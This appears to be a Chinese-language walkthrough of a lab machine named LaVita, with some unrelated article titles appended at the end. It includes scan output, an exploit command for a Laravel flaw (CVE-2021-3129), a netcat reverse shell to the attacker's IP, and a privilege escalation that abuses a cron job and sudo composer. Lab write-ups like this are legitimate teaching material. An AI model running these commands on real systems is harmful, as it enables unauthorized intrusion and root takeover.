nmap
└─# nmap -p- -A 192.168.159.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 00:21 UTC
Nmap scan report for 192.168.159.38
Host is up (0.071s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS Template
|_http-server-header: Apache/2.4.56 (Debian)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/1%OT=22%CT=1%CU=38927%PV=Y%DS=4%DC=T%G=Y%TM=674B
OS:AC78%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10D%TI=Z%TS=A)SEQ(SP=FF%G
OS:CD=1%ISR=10D%TI=Z%CI=Z%TS=A)SEQ(SP=FF%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M578ST11NW7%O2=M578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M578
OS:ST11NW7%O6=M578ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 74.12 ms 192.168.45.1
2 73.75 ms 192.168.45.254
3 74.19 ms 192.168.251.1
4 74.23 ms 192.168.159.38 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.57 seconds

显而易见了突破口只有80端口了

dirsearch
[00:23:12] Starting:
[00:23:14] 301 - 313B - /js -> http://192.168.159.38/js/
[00:23:18] 403 - 279B - /.ht_wsr.txt
[00:23:18] 403 - 279B - /.htaccessBAK
[00:23:18] 403 - 279B - /.htaccess.bak1
[00:23:18] 403 - 279B - /.htaccess.orig
[00:23:18] 403 - 279B - /.html
[00:23:18] 403 - 279B - /.htpasswd_test
[00:23:18] 403 - 279B - /.htaccess.save
[00:23:18] 403 - 279B - /.htpasswds
[00:23:18] 403 - 279B - /.httr-oauth
[00:23:18] 403 - 279B - /.htaccess.sample
[00:23:19] 403 - 279B - /.htaccess_sc
[00:23:19] 403 - 279B - /.htaccess_extra
[00:23:19] 403 - 279B - /.htaccess_orig
[00:23:19] 403 - 279B - /.htaccessOLD
[00:23:19] 403 - 279B - /.htaccessOLD2
[00:23:19] 403 - 279B - /.htm
[00:23:20] 403 - 279B - /.php
[00:23:25] 405 - 835B - /_ignition/execute-solution
[00:23:48] 301 - 314B - /css -> http://192.168.159.38/css/
[00:23:53] 200 - 0B - /favicon.ico
[00:23:57] 302 - 354B - /home -> http://192.168.159.38/login
[00:23:57] 403 - 279B - /images/
[00:23:58] 301 - 317B - /images -> http://192.168.159.38/images/
[00:23:59] 404 - 276B - /javascript/editors/fckeditor
[00:23:59] 301 - 321B - /javascript -> http://192.168.159.38/javascript/
[00:23:59] 404 - 276B - /javascript/tiny_mce
[00:24:00] 403 - 279B - /js/
[00:24:03] 200 - 5KB - /login
[00:24:03] 405 - 835B - /logout
[00:24:16] 200 - 5KB - /register
[00:24:17] 200 - 24B - /robots.txt
[00:24:19] 403 - 279B - /server-status
[00:24:19] 403 - 279B - /server-status/
[00:24:32] 200 - 1KB - /web.config

尝试访问不存在的路径 报错给出cms 和版本号

一开始以为是文件上传漏洞



但发现不太对 咋传都传不上去

于是根据版本搜exp

发现还真有

https://github.com/joshuavanderpoll/CVE-2021-3129

尝试执行whoami 发现成功!

python CVE-2021-3129.py --chain 'laravel/rce2' --host http://192.168.159.38/ --exec 'whoami'

直接来个反弹shell吧

python CVE-2021-3129.py --chain 'laravel/rce2' --host http://192.168.159.38/ --exec 'nc -e /bin/bash 192.168.45.250 80'

成功!nice

在linpeas脚本的帮助下找到了数据库密码和用户



然而进入数据库发现并没有啥可利用的东西



pspy64查看定时任务发现uid为1001 的用户会按时执行artisan的脚本 而且这个脚本的所有者是www-data也就是我们



发现uid的用户是skunk

重写这个文件并写入反弹shell代码



等待该定时任务执行



反弹shell成功

sudo -l 查看可提权的命令



查exp



这里我们得稍微改动一下 我们的 --working-dir必须是指定/var/www/html/lavita的

而这个目录skunk用户 是没有写入权限的 但是正好www-data 有

所以我们得先回到www-data 用户

执行这个命令

echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > /var/www/html/lavita/composer.json



然后再回到skunk用户 执行

sudo composer --working-dir=/var/www/html/lavita run-script x

提权成功

LaVita pg walkthrough Intermediate的更多相关文章

  1. 简析服务端通过GT导入SHP至PG的方法

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...

  2. Bootstap datetimepicker报错TypeError: intermediate value

    Bootstrap datetimepicker有多个版本,官方的链接中,只是datepicker,没有时间的选择,原版的datetimepicker也不再更新,不能用新版的jquery.现在http ...

  3. PG 中 JSON 字段的应用

    13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...

  4. pg gem 安装(postgresql94)

    使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...

  5. #pg学习#postgresql的安装

    1.按照官网给的步骤编译安装(Mac安装是比较容易的,相比Liunx) cd /Users/renlipeng/Desktop/postgresql-9.5.1 ./configure --prefi ...

  6. PG 函数的易变性(Function Volatility Categories)

    此概念的接触是在做分区表的时候碰到的,分区表按时间字段分区,在查询时当where条件中时间为now()或者current_time()等时是无法查询的,即使进行格式转换也不行,只有是时间格式如‘201 ...

  7. c++错误——intermediate.manifest : general error c1010070很傻的错

    .\Debug\sadf.exe.intermediate.manifest : general error c1010070: Failed to load and parse the manife ...

  8. mysql 序列与pg序列的比较

    mysql序列(这里只谈innodb引擎): 在使用mysql的AUTO_INCREMENT时,使用AUTO_INCREMENT的字段必须建有索引,也可以为索引的一部分.当没有索引时会报错:      ...

  9. 使用zfs进行pg的pitr恢复测试

    前段时间做了一下zfs做pg的增量恢复测试,mark一下. 服务器信息: 主机:192.168.173.43 备机:192.168.173.41 主备使用流复制搭建,在备机上面进行了zfs快照备份. ...

  10. PG CREATEINDEX CONCURRENTLY

    PG CREATEINDEX CONCURRENTLY [TOC] 官方说法 根据9.1的文档 Creating an index can interfere with regular operati ...

随机推荐

  1. jquery datatable 全选,反选 参考文档

    1 版本号 DataTables 1.10.12 2 API文档地址 http://datatables.club/reference/option/ 官方option http://datatabl ...

  2. Code::Blocks C语言新手教学

    ## 简介 C语言是一种广泛应用于系统编程和底层开发的编程语言.它是一种结构化的.面向过程的语言,具有高效的性能和灵活的编程风格.在学习C语言时,通常会使用一些集成开发环境(IDE)来编写.编译和运行 ...

  3. Golang verifying module: xxx: initializing sumdb.Client: reading tree note: malformed note

    问题描述 在使用 go mod 拉取github上的一些包时碰到了一个非常令人头疼的问题,想使用一个包却拉不下来报了以下错误: go: finding module for package githu ...

  4. Redis常见问题汇总

    日常使用中Redis中配到的问题汇总 1. RedisDesktopManager提示:Connection error: QRedisClient compiled without ssh supp ...

  5. 开源 - Ideal库 - Excel帮助类,设计思路(一)

    今天开始和大家分享关于Excel最长常用操作封装. 01.起因 市面上有很多Excel操作库,这些库设计之初的目标是提供对Excel的各种操作功能,包括数据.样式.公式.图表等等.而对于我们平时开发来 ...

  6. Node.js 文件读写

    1.fs模块 在node.js中,所有文件的操作都是通过fs模块来实现的.包括文件目录的创建,删除,查询以及文件的读取,写入. 在fs模块中,所有的方法都分成同步和异步两种实现,具有sync后缀的为同 ...

  7. nvm切换版本报exec: “cmd”: executable file not found in %PATH% 问题

    由于也是第一次用,出了个这报错懵了 搜了下也没个准确的解决办法(也可能是问题太简单),有的说可能是cmd变量没配好,检查了一遍没问题 后来想到报的是cmd,而cmd存储位置在 C:\Windows\S ...

  8. R数据分析:临床预测模型实操,校准曲线和DCA曲线做法示例

    之前给大家写过好几篇很详细的临床预测模型的原理解析,本文接着之前的文章,继续写做法,首先依然是找到一篇参照论文,今天我们的示例文章是一篇来自美国心脏学会杂志的文章: Zhang X, Yuan K, ...

  9. Linux查找某个大小范围内的文件

    查找大小在某个范围内的文件使用-size参数,-size +n表示大于n单位的范围,-size –n表示小于n单位的范围.例如,查找大于100k且小于400k的文件: find . -type f - ...

  10. adduser和addgroup命令讲解

    https://wiki.alpinelinux.org/wiki/Setting_up_a_new_user 在Alpine Linux下创建用户和组命令分别是adduser和addgroup,本文 ...